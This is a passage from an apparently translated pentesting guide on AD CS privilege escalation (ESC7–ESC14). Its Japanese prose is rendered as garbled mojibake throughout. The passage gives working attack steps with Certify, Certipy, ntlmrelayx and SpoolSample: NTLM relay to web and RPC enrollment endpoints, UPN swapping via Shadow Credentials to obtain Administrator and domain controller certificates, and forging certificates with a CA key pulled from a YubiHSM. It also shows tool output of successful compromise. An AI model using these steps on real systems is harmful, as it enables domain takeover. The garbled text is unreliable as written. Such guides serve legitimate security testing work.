èŠããã«ã以å㯠ESC7 ã®ãåã®åŒ±ããåŽãšèŠãªãããŠãã Manage Certificates ããCA èšå®ã«è§Šããããããå¶éã®å³ãã Manage CA æš©éãå¿ èŠãšããããšãªããå®å šãªæš©éææ Œãé·æçãªæç¶æ§ã®ããã«å©çšã§ããããã«ãªããŸããã
Certify 2.0 ã§ãã®ããªããã£ããæªçšããæé
- ä¿çç¶æ ïŒpendingïŒã®ãŸãŸã«ãªãèšŒææžãªã¯ãšã¹ããéä¿¡ããã ãããŒãžã£ãŒæ¿èªãå¿ èŠãšãããã³ãã¬ãŒãã䜿ãããšã§ããã匷å¶ã§ããŸãïŒ
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
# Take note of the returned Request ID
- æ°ãã
manage-caã³ãã³ãã䜿ã£ãŠä¿çäžã®ãªã¯ãšã¹ãã«ã«ã¹ã¿ã æ¡åŒµã远èšããïŒ
Certify.exe manage-ca --ca SERVER\\CA-NAME \
--request-id 1337 \
--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID
ãã³ãã¬ãŒããæ¢ã« Certificate Issuance Policies æ¡åŒµãå®çŸ©ããŠããªãå Žåãäžèšã®å€ã¯çºè¡åŸãä¿æãããŸãã
- ãªã¯ãšã¹ããçºè¡ããïŒããªãã®ããŒã«ã Manage Certificates æ¿èªæš©éãæã£ãŠããå ŽåïŒãããªãã¬ãŒã¿ãæ¿èªãããŸã§åŸ ã¡ãŸããçºè¡ããããèšŒææžãããŠã³ããŒãããŸãïŒ
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
- çæãããèšŒææžã¯æªæãã issuance-policy OID ãå«ãã§ããã以éã®æ»æïŒäŸïŒESC13ããã¡ã€ã³ææ Œãªã©ïŒã§äœ¿çšã§ããŸãã
NOTE: åãæ»æã¯ Certipy ⥠4.7 ã®
caã³ãã³ããš-set-extensionãã©ã¡ãŒã¿ã䜿ã£ãŠå®è¡ã§ããŸãã
NTLM ãªã¬ãŒãã AD CS HTTP ãšã³ããã€ã³ããžã®æ»æ â ESC8
説æ
Tip
AD CS ãã€ã³ã¹ããŒã«ãããŠãã ç°å¢ã§ãè匱㪠web enrollment endpoint ãååšãããã€å°ãªããšã 1 ã€ã® certificate template ãå ¬éãããŠãã ãã®ãã³ãã¬ãŒãã domain computer enrollment ãš client authentication ãèš±å¯ããŠããïŒäŸïŒããã©ã«ãã®
Machineãã³ãã¬ãŒãïŒå Žåãspooler ãµãŒãã¹ãæå¹ãªä»»æã®ã³ã³ãã¥ãŒã¿ãæ»æè ã«ãã£ãŠä¹ã£åãããå¯èœæ§ããã ãšããããšã«ãªããŸãïŒ
AD CS ã¯è¿œå ã®ãµãŒããŒããŒã«ãšããŠç®¡çè
ãã€ã³ã¹ããŒã«ããããšã§å©çšå¯èœã«ãªããè€æ°ã® HTTP ããŒã¹ã® enrollment æ¹æ³ ããµããŒãããŠããŸãããããã® HTTP ããŒã¹ã®èšŒææžç»é²çšã€ã³ã¿ãŒãã§ã€ã¹ã¯ NTLM ãªã¬ãŒæ»æ ãåããããã§ããæ»æè
ã¯ãä¹ã£åã£ããã·ã³ãããçä¿¡ NTLM ã«ãã£ãŠèªèšŒããä»»æã® AD ã¢ã«ãŠã³ãããªãããŸãããšãã§ããŸãã被害è
ã¢ã«ãŠã³ãã«ãªãããŸããç¶æ
ã§ãæ»æè
ã¯ãããã® Web ã€ã³ã¿ãŒãã§ã€ã¹ã«ã¢ã¯ã»ã¹ããŠãUser ã Machine èšŒææžãã³ãã¬ãŒããçšããŠã¯ã©ã€ã¢ã³ãèªèšŒèšŒææžãèŠæ±ã§ããŸãã
- web enrollment interfaceïŒå€ã ASP ã¢ããªã±ãŒã·ã§ã³ã§
http://<caserver>/certsrv/ã«ããïŒã¯ããã©ã«ãã§ HTTP ã®ã¿ã䜿çšããŠãããNTLM ãªã¬ãŒæ»æã«å¯Ÿããä¿è·ãæäŸããŸãããå ããŠããã®ã€ã³ã¿ãŒãã§ã€ã¹ã¯ Authorization HTTP ããããéããŠæç€ºçã« NTLM ã®ã¿ãèš±å¯ããŠãããKerberos ã®ãããªããå®å šãªèªèšŒæ¹æ³ã¯é©çšã§ããŸããã - Certificate Enrollment ServiceïŒCESïŒãCertificate Enrollment PolicyïŒCEPïŒWeb ServiceãNetwork Device Enrollment ServiceïŒNDESïŒã¯ããã©ã«ãã§ Authorization HTTP ããããä»ã㊠negotiate èªèšŒããµããŒãããŸããnegotiate èªèšŒã¯ Kerberos ãš NTLM ã®åæ¹ããµããŒãããŠãããæ»æè ã¯ãªã¬ãŒæ»æäžã«èªèšŒã NTLM ã«ããŠã³ã°ã¬ãŒã ã§ããŸãããããã® Web ãµãŒãã¹ã¯ããã©ã«ãã§ HTTPS ãæå¹ã«ããŠããŸãããHTTPS åäœã§ã¯ NTLM ãªã¬ãŒæ»æããå®ããŸãããHTTPS ãµãŒãã¹ã«å¯Ÿãã NTLM ãªã¬ãŒæ»æã®é²è·ã¯ãHTTPS ãš channel binding ãçµã¿åãããå Žåã«ã®ã¿å¯èœã§ããæ®å¿µãªãããAD CS 㯠IIS äžã§ channel binding ã«å¿ èŠãª Extended Protection for Authentication ãæå¹ã«ããŠããŸããã
NTLM ãªã¬ãŒæ»æã«å ±éãã åé¡ ã®äžã€ã¯ãNTLM ã»ãã·ã§ã³ã® çãæå¹æé ãšãæ»æè ã NTLM signing ãèŠæ±ãããµãŒãã¹ ãšçžäºäœçšã§ããªãããšã§ãã
ããã§ãããã®å¶çŽã¯ NTLM ãªã¬ãŒæ»æãå©çšããŠãŠãŒã¶ã®èšŒææžãååŸããããšã§å æã§ããŸãããªããªãèšŒææžã®æå¹æéãã»ãã·ã§ã³ã®æç¶æéãæ±ºãããã€ãã®èšŒææžã¯ NTLM signing ãå¿ é ãšãããµãŒãã¹ ã«å¯ŸããŠã䜿çšã§ããããã§ããçãŸããèšŒææžã®å©ç𿹿³ã«ã€ããŠã¯ã次ãåç §ããŠãã ããïŒ
NTLM ãªã¬ãŒæ»æã®ããäžã€ã®å¶çŽã¯ãæ»æè å¶åŸ¡äžã®ãã·ã³ã被害è ã¢ã«ãŠã³ãã«ãã£ãŠèªèšŒãããå¿ èŠãããããšã§ããæ»æè ã¯åŸ ã€ãããããã¯ãã®èªèšŒã匷å¶ããããšè©Šã¿ãããšãã§ããŸãïŒ
Force NTLM Privileged Authentication
æªçš
Certifyâs cas 㯠enabled HTTP AD CS endpoints ãåæããŸã:
Certify.exe cas
.png)
msPKI-Enrollment-Servers ããããã£ã¯ãäŒæ¥ã®èšŒææ©é¢ïŒCAsïŒã Certificate Enrollment ServiceïŒCESïŒãšã³ããã€ã³ããä¿åããããã«äœ¿çšãããŸãããããã®ãšã³ããã€ã³ãã¯ãããŒã« Certutil.exe ã䜿çšããŠè§£æããã³äžèЧåã§ããŸãïŒ
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
.png)
.png)
Certifyã䜿ã£ãæªçš
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080
## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
Certipy ãæªçšãã
Certipy ã«ããèšŒææžã®èŠæ±ã¯ããã©ã«ãã§ãã³ãã¬ãŒã Machine ãŸã㯠User ã«åºã¥ããŠè¡ããããªã¬ãŒãããã¢ã«ãŠã³ãåãæ«å°Ÿã« $ ãä»ããã©ããã§æ±ºãŸããŸãã代æ¿ãã³ãã¬ãŒã㯠-template ãã©ã¡ãŒã¿ã§æå®ã§ããŸãã
ãã®åŸãPetitPotam ã®ãããªææ³ãçšããŠèªèšŒã匷å¶ã§ããŸãããã¡ã€ã³ã³ã³ãããŒã©ãŒãæ±ãå Žåã¯ã-template DomainController ã®æå®ãå¿
èŠã§ãã
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
ã»ãã¥ãªãã£æ¡åŒµãªã - ESC9
説æ
æ°ããå€ CT_FLAG_NO_SECURITY_EXTENSION (0x80000) ã¯ãmsPKI-Enrollment-Flag ã®ããã®ãã®ã§ãESC9ãšåŒã°ããèšŒææžã«æ°ãã szOID_NTDS_CA_SECURITY_EXT ã»ãã¥ãªãã£æ¡åŒµãåã蟌ãããšãé²ããŸãããã®ãã©ã°ã¯ãStrongCertificateBindingEnforcement ã 1ïŒããã©ã«ãïŒã«èšå®ãããŠããå Žåã«é¢é£æ§ãæã¡ã2 ã«èšå®ãããŠããå Žåãšã¯å¯Ÿç
§çã§ããESC9 ããªãå Žåã§ãèŠä»¶ã¯å€ãããŸããããKerberos ã Schannel ã®åŒ±ãèšŒææžãããã³ã°ãæªçšãããå¯èœæ§ãããïŒESC10 ã®ãããªïŒã·ããªãªã§ã¯ããã®éèŠæ§ãå¢ããŸãã
ãã®ãã©ã°ã®èšå®ãéèŠã«ãªãæ¡ä»¶ã¯æ¬¡ã®ãšããã§ã:
StrongCertificateBindingEnforcementã2ã«èª¿æŽãããŠããªãïŒããã©ã«ãã¯1ïŒãããŸãã¯CertificateMappingMethodsã«UPNãã©ã°ãå«ãŸããŠããã- èšŒææžã
msPKI-Enrollment-Flagèšå®å ã§CT_FLAG_NO_SECURITY_EXTENSIONãã©ã°ã§ããŒã¯ãããŠããã - èšŒææžã§ä»»æã®ã¯ã©ã€ã¢ã³ãèªèšŒ EKU ãæå®ãããŠããã
- ä»»æã®ã¢ã«ãŠã³ãã«å¯ŸããŠ
GenericWriteæš©éããããå¥ã®ã¢ã«ãŠã³ãã䟵害ã§ããã
æªçšã·ããªãª
äŸãã° John@corp.local ã Jane@corp.local ã«å¯Ÿã㊠GenericWrite æš©éãæã£ãŠãããAdministrator@corp.local ã䟵害ããããšãç®çãšããŠãããšããŸããJane@corp.local ãç»é²ã§ãã ESC9 èšŒææžãã³ãã¬ãŒãã¯ãmsPKI-Enrollment-Flag èšå®ã§ CT_FLAG_NO_SECURITY_EXTENSION ãã©ã°ãèšå®ãããŠããŸãã
æåã«ãJohn ã® GenericWrite ã«ãããShadow Credentials ã䜿çšã㊠Jane ã®ããã·ã¥ãååŸãããŸãïŒ
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
ãã®åŸãJaneã®userPrincipalNameã¯Administratorã«å€æŽãããæå³çã«@corp.localã®ãã¡ã€ã³éšåãçãããŠããŸã:
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
ãã®å€æŽã¯ãAdministrator@corp.local ã Administrator ã® userPrincipalName ãšããŠåºå¥ããããŸãŸã§ãããããå¶çŽã«éåããŸããã
ç¶ããŠãè匱ãšããŒã¯ããã ESC9 èšŒææžãã³ãã¬ãŒãã Jane ãšããŠèŠæ±ãããŸã:
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
èšŒææžã® userPrincipalName 㯠Administrator ã瀺ããŠãããâobject SIDâ ã¯å«ãŸããŠããŸããã
Jane ã® userPrincipalName ã¯å
ã® Jane@corp.local ã«æ»ãããŸã:
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
çºè¡ãããèšŒææžã§èªèšŒã詊è¡ãããšãçŸåš Administrator@corp.local ã® NT hash ãååŸãããŸããèšŒææžã«ãã¡ã€ã³æå®ããªããããã³ãã³ãã«ã¯ -domain <domain> ãå«ããå¿
èŠããããŸã:
certipy auth -pfx adminitrator.pfx -domain corp.local
Weak Certificate Mappings - ESC10
説æ
ESC10 ãæããã¡ã€ã³ã³ã³ãããŒã©äžã® 2 ã€ã®ã¬ãžã¹ããªããŒå€:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannelã®CertificateMappingMethodsã®ããã©ã«ãå€ã¯0x18(0x8 | 0x10)ã以åã¯0x1Fã«èšå®ãããŠããŸãããHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdcã®StrongCertificateBindingEnforcementã®ããã©ã«ãèšå®ã¯1ã以åã¯0ã§ããã
ã±ãŒã¹ 1
StrongCertificateBindingEnforcement ã 0 ã«èšå®ãããŠããå Žåã
ã±ãŒã¹ 2
CertificateMappingMethods ã« UPN ããã (0x4) ãå«ãŸããŠããå Žåã
æªçšã±ãŒã¹ 1
StrongCertificateBindingEnforcement ã 0 ã«èšå®ãããŠããå ŽåãGenericWrite æš©éãæã€ã¢ã«ãŠã³ã A ã¯ä»»æã®ã¢ã«ãŠã³ã B ã䟵害ããããã«æªçšã§ããŸãã
äŸãã°ãJane@corp.local ã«å¯Ÿã㊠GenericWrite æš©éãæã£ãŠããæ»æè
ã Administrator@corp.local ã䟵害ããããšãçãå Žåãæé 㯠ESC9 ãšåæ§ã§ãä»»æã® certificate template ãå©çšã§ããŸãã
ãŸããGenericWrite ãæªçšã㊠Shadow Credentials ã䜿ããJane ã® hash ãååŸããŸãã
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
ãã®åŸãJaneã®userPrincipalNameã¯å¶çŽéåãåé¿ããããã@corp.localã®éšåãæå³çã«çç¥ããŠAdministratorã«å€æŽãããŸãã
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
ç¶ããŠãããã©ã«ãã® User ãã³ãã¬ãŒãã䜿çšããŠãã¯ã©ã€ã¢ã³ãèªèšŒãæå¹ã«ããèšŒææžã Jane ãšããŠèŠæ±ãããŸãã
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
Janeã®userPrincipalNameã¯å
ã®Jane@corp.localã«æ»ãããŸãã
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
ååŸããèšŒææžã§èªèšŒãããš Administrator@corp.local ã® NT hash ãåŸãããŸããèšŒææžã«ãã¡ã€ã³æ
å ±ãå«ãŸããŠããªããããã³ãã³ãã§ãã¡ã€ã³ãæå®ããå¿
èŠããããŸãã
certipy auth -pfx administrator.pfx -domain corp.local
Abuse Case 2
CertificateMappingMethods ã« UPN ããããã©ã° (0x4) ãå«ãŸããŠããå ŽåãGenericWrite æš©éãæã€ã¢ã«ãŠã³ã A ã¯ãuserPrincipalName ããããã£ãæããªãä»»æã®ã¢ã«ãŠã³ã BïŒãã·ã³ã¢ã«ãŠã³ããçµã¿èŸŒã¿ã®ãã¡ã€ã³ç®¡çè
ã§ãã Administrator ãå«ãïŒã䟵害ã§ããŸãã
ããã§ã¯ãGenericWrite ãæŽ»çšã㊠Shadow Credentials ãéã㊠Jane ã®ããã·ã¥ãååŸããããšããå§ããDC$@corp.local ã䟵害ããããšãç®çãšããŸãã
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
Janeã®userPrincipalNameã¯DC$@corp.localã«èšå®ãããŸãã
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
ããã©ã«ãã® User ãã³ãã¬ãŒãã䜿çšããŠãJane ãšããŠã¯ã©ã€ã¢ã³ãèªèšŒçšã®èšŒææžãèŠæ±ãããŸãã
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
Janeã®userPrincipalNameã¯ãã®ããã»ã¹ã®åŸãå
ã«æ»ãããŸãã
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
Schannel ãä»ããŠèªèšŒããããã«ãCertipy ã® -ldap-shell ãªãã·ã§ã³ã䜿çšãããèªèšŒãæåãããš u:CORP\DC$ ãšè¡šç€ºãããŸãã
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
LDAPã·ã§ã«ãéããŠãset_rbcd ã®ãããªã³ãã³ã㯠Resource-Based Constrained Delegation (RBCD) æ»æãå¯èœã«ããdomain controller ã䟵害ãããå¯èœæ§ãããã
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
ãã®è匱æ§ã¯ userPrincipalName ãæ¬ ãããŸã㯠sAMAccountName ãšäžèŽããªãä»»æã®ãŠãŒã¶ãŒã¢ã«ãŠã³ãã«ãåã³ãŸããããã©ã«ãã® Administrator@corp.local ã¯ãLDAP ã®ç¹æš©ãé«ããããã©ã«ãã§ userPrincipalName ãååšããªããããäž»èŠãªæšçãšãªããŸãã
Relaying NTLM to ICPR - ESC11
説æ
If CA Server Do not configured with IF_ENFORCEENCRYPTICERTREQUEST, it can be makes NTLM relay attacks without signing via RPC service. Reference in here.
certipy ã䜿çšã㊠Enforce Encryption for Requests ã Disabled ãã©ãããåæã§ããcertipy 㯠ESC11 è匱æ§ã衚瀺ããŸãã
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
Certificate Authorities
0
CA Name : DC01-CA
DNS Name : DC01.domain.local
Certificate Subject : CN=DC01-CA, DC=domain, DC=local
....
Enforce Encryption for Requests : Disabled
....
[!] Vulnerabilities
ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
æªçšã·ããªãª
ãªã¬ãŒãµãŒããŒãã»ããã¢ããããå¿ èŠããã:
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Targeting rpc://DC01.domain.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:DC01.domain.local[135] to determine ICPR stringbinding
[*] Attacking user 'Administrator@DOMAIN'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator@domain.local'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
泚: ãã¡ã€ã³ã³ã³ãããŒã©ãŒã®å ŽåãDomainController ã§ -template ãæå®ããå¿
èŠããããŸãã
ãŸãã¯ãsploutchyâs fork of impacket :
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
Shell access to ADCS CA with YubiHSM - ESC12
説æ
管çè 㯠Certificate Authority ã âYubico YubiHSM2â ã®ãããªå€éšããã€ã¹ã«æ ŒçŽããããã«èšå®ã§ããŸãã
CA ãµãŒããŒã« USB ããŒãçµç±ã§ USB ããã€ã¹ãæ¥ç¶ãããŠããå ŽåããŸã㯠CA ãµãŒããŒãä»®æ³ãã·ã³ã§ USB device server ãä»ããŠæ¥ç¶ãããŠããå ŽåãKey Storage Provider ã YubiHSM å ã§ããŒãçæããã³å©çšããããã«èªèšŒããŒïŒãã°ãã°ãpasswordããšåŒã°ããïŒãå¿ èŠã§ãã
ãã®ããŒ/ãã¹ã¯ãŒãã¯ã¬ãžã¹ããªã® HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword ã«ãã¬ãŒã³ããã¹ãã§ä¿åãããŸãã
åç §: here.
æªçšã·ããªãª
CA ã®ç§å¯éµãç©çç㪠USB ããã€ã¹ã«ä¿åãããŠãããããªãã shell access ãåŸãå Žåããã®éµãååããããšãå¯èœã§ãã
ãŸããCA èšŒææžïŒããã¯å ¬éæ å ±ã§ãïŒãå ¥æããæ¬¡ã«:
# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>
# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
æåŸã«ãcertutil -sign ã³ãã³ãã䜿ã£ãŠãCA èšŒææžãšãã®ç§å¯éµãçšããŠä»»æã®æ°ããèšŒææžãåœé ããŸãã
OID Group Link Abuse - ESC13
説æ
msPKI-Certificate-Policy 屿§ã¯ãèšŒææžãã³ãã¬ãŒãã«çºè¡ããªã·ãŒã远å ã§ããããã«ããŸããããªã·ãŒã®çºè¡ãæ
åœãã msPKI-Enterprise-Oid ãªããžã§ã¯ãã¯ãPKI OID ã³ã³ããã® Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) ã§èŠã€ããããšãã§ããŸããããªã·ãŒã¯ãã®ãªããžã§ã¯ãã® msDS-OIDToGroupLink 屿§ã䜿ã£ãŠ AD ã°ã«ãŒãã«ãªã³ã¯ã§ããã·ã¹ãã ã¯ãã®èšŒææžãæç€ºãããŠãŒã¶ãŒããŸãã§ãã®ã°ã«ãŒãã®ã¡ã³ããŒã§ãããã®ããã«èªå¯ã§ããŸããReference in here.
ã€ãŸãããŠãŒã¶ãŒãèšŒææžãç»é²ããæš©éãæã¡ããã®èšŒææžã OID ã°ã«ãŒãã«ãªã³ã¯ãããŠããå ŽåããŠãŒã¶ãŒã¯ãã®ã°ã«ãŒãã®æš©éãç¶æ¿ã§ããŸãã
OIDToGroupLink ãèŠã€ããã«ã¯ Check-ADCSESC13.ps1 ã䜿çšããŸã:
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
Enumerating certificate templates
------------------------
Certificate template VulnerableTemplate may be used to obtain membership of CN=VulnerableGroup,CN=Users,DC=domain,DC=local
Certificate template Name: VulnerableTemplate
OID DisplayName: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID DistinguishedName: CN=23541150.FCB720D24BC82FBD1A33CB406A14094D,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.13924342.9568199.8.4253412.23541150
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
æªçšã·ããªãª
å©çšã§ãããŠãŒã¶ãŒæš©éãèŠã€ããã«ã¯ certipy find ãŸã㯠Certify.exe find /showAllPermissions ã䜿çšããã
ãã John ã VulnerableTemplate ã« enroll ããæš©éãæã£ãŠããã°ããŠãŒã¶ãŒã¯ VulnerableGroup ã°ã«ãŒãã®æš©éãç¶æ¿ã§ããã
ãã³ãã¬ãŒããæå®ããã ãã§ãOIDToGroupLink æš©éãæã€èšŒææžãååŸã§ããã
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
è匱ãªèšŒææžæŽæ°æ§æ - ESC14
説æ
説æã¯ https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping ã«éåžžã«è©³ããèšèŒãããŠããŸãã以äžã¯å ã®ããã¹ãã®åŒçšã§ãã
ESC14 ã¯äž»ã« Active Directory ã®ãŠãŒã¶ãŒãŸãã¯ã³ã³ãã¥ãŒã¿ã¢ã«ãŠã³ãäžã® altSecurityIdentities 屿§ã®èª€çšãäžé©åãªæ§æã«èµ·å ããã匱ã explicit certificate mappingãã«ããè匱æ§ã«å¯ŸåŠããŸãããã® multi-valued 屿§ã¯ã管çè
ã X.509 èšŒææžãèªèšŒç®çã§ AD ã¢ã«ãŠã³ãã«æåã§çŽä»ããããšãå¯èœã«ããŸããå€ãèšå®ããããšããããã®æç€ºçãªãããã³ã°ã¯éåžžãèšŒææžã® SAN å
ã® UPN ã DNS åããŸã㯠szOID_NTDS_CA_SECURITY_EXT ã»ãã¥ãªãã£æ¡åŒµã«åã蟌ãŸãã SID ã«åºã¥ãããã©ã«ãã®èšŒææžãããã³ã°ããžãã¯ãäžæžãããããšããããŸãã
ã匱ãããããã³ã°ã¯ãaltSecurityIdentities 屿§å
ã§èšŒææžãèå¥ããããã«äœ¿çšãããæååå€ãåºãããã容æã«æšæž¬å¯èœã§ãããäžæã§ãªãèšŒææžãã£ãŒã«ãã«äŸåããŠããããŸãã¯ç°¡åã«åœè£
å¯èœãªèšŒææžã³ã³ããŒãã³ãã䜿çšããŠããå Žåã«çºçããŸããæ»æè
ãç¹æš©ã¢ã«ãŠã³ãã®ãã®ãããªåŒ±ãå®çŸ©ããã explicit mapping ã«äžèŽãã屿§ãæã€èšŒææžãååŸãŸãã¯äœæã§ããã°ããã®èšŒææžã䜿ã£ãŠãã®ã¢ã«ãŠã³ããšããŠèªèšŒã»ãªãããŸããè¡ãããšãã§ããŸãã
æœåšçã«åŒ±ã altSecurityIdentities ãããã³ã°æååã®äŸã«ã¯ä»¥äžãå«ãŸããŸãïŒ
- å
±é Subject Common Name (CN) ã®ã¿ã§ãããã³ã°ããïŒäŸ
X509:<S>CN=SomeUserãæ»æè ã¯ãã® CN ãæã€èšŒææžãããã»ãã¥ã¢ã§ãªããœãŒã¹ããå ¥æã§ããå¯èœæ§ããããŸãã - ã·ãªã¢ã«çªå·ã subject key identifier ã®ãããªè¿œå ã®éå®ããªãé床ã«äžè¬ç㪠Issuer Distinguished Name (DN) ã Subject DN ã®äœ¿çšïŒäŸ
X509:<I>CN=SomeInternalCA<S>CN=GenericUserã - æ»æè ãæ£åœã«å ¥æãŸãã¯åœé ã§ããïŒCA ã䟵害ããã ESC1 ã®ãããªè匱ãªãã³ãã¬ãŒããèŠã€ããå Žåãªã©ïŒèšŒææžã§æºããããäºæž¬å¯èœãªãã¿ãŒã³ãéæå·çèå¥åã®äœ¿çšã
altSecurityIdentities 屿§ã¯ãããã³ã°ã«å¯ŸããŠæ§ã
ãªåœ¢åŒããµããŒãããŠããŸããäŸãã°ïŒ
X509:<I>IssuerDN<S>SubjectDNïŒIssuer ããã³ Subject ã®å®å šãª DN ã«ãã£ãŠãããã³ã°ïŒX509:<SKI>SubjectKeyIdentifierïŒèšŒææžã® Subject Key Identifier æ¡åŒµå€ã«ãã£ãŠãããã³ã°ïŒX509:<SR>SerialNumberBackedByIssuerDNïŒã·ãªã¢ã«çªå·ã§ãããã³ã°ãæé»çã« Issuer DN ã«ãã£ãŠéå®ãããïŒ- ããã¯æšæºåœ¢åŒã§ã¯ãªããéåžžã¯<I>IssuerDN<SR>SerialNumberã®ããã«ãªããŸããX509:<RFC822>EmailAddressïŒSAN ã® RFC822 åãéåžžã¯ã¡ãŒã«ã¢ãã¬ã¹ã«ãã£ãŠãããã³ã°ïŒX509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKeyïŒèšŒææžã®çã®å ¬ééµã® SHA1 ããã·ã¥ã§ãããã³ã° - äžè¬ã«åŒ·åïŒ
ãããã®ãããã³ã°ã®ã»ãã¥ãªãã£ã¯ããããã³ã°æååã§éžæãããèšŒææžèå¥åã®ç¹ç°æ§ãäžææ§ãããã³æå·åŠç匷床ã«å€§ããäŸåããŸããDomain Controllers äžã§åŒ·å㪠certificate binding ã¢ãŒããæå¹ã«ãªã£ãŠããŠãïŒããã¯äž»ã« SAN ã® UPN/DNS ã SID æ¡åŒµã«åºã¥ãæé»çãããã³ã°ã«åœ±é¿ããŸãïŒãaltSecurityIdentities ãšã³ããªãäžé©åã«æ§æãããŠãããšããããã³ã°ããžãã¯èªäœãæ¬ é¥ãŸãã¯é床ã«èš±å®¹çã§ããå Žåã«çŽæ¥çãªãªãããŸãã®çµè·¯ãæäŸããå¯èœæ§ããããŸãã
Abuse Scenario
ESC14 㯠Active Directory (AD) ã® explicit certificate mappingsãç¹ã« altSecurityIdentities 屿§ãæšçãšããŸãããã®å±æ§ãèšå®ãããŠããïŒèšèšäžãŸãã¯èª€èšå®ã§ïŒå Žåãæ»æè
ã¯ãããã³ã°ã«äžèŽããèšŒææžãæç€ºããããšã§ã¢ã«ãŠã³ãã«ãªãããŸãããšãã§ããŸãã
Scenario A: Attacker Can Write to altSecurityIdentities
åææ¡ä»¶ïŒæ»æè
ãã¿ãŒã²ããã¢ã«ãŠã³ãã® altSecurityIdentities 屿§ã«æžãèŸŒã¿æš©éãæã£ãŠããããŸãã¯ã¿ãŒã²ãã AD ãªããžã§ã¯ãã«å¯ŸããŠä»¥äžã®ããããã®æš©éãæã€ããšã§ãããä»äžã§ããããšïŒ
- Write property
altSecurityIdentities - Write property
Public-Information - Write property (all)
WriteDACLWriteOwner*GenericWriteGenericAll- Owner*.
Scenario B: Target Has Weak Mapping via X509RFC822 (Email)
- åææ¡ä»¶ïŒã¿ãŒã²ããã altSecurityIdentities ã«åŒ±ã X509RFC822 ãããã³ã°ãæã£ãŠãããæ»æè ã¯è¢«å®³è ã® mail 屿§ãã¿ãŒã²ããã® X509RFC822 åã«äžèŽãããããèšå®ãã被害è ãšããŠèšŒææžãç»é²(enroll)ããŠããã®èšŒææžã䜿ã£ãŠã¿ãŒã²ãããšããŠèªèšŒããããšãã§ããã
Scenario C: Target Has X509IssuerSubject Mapping
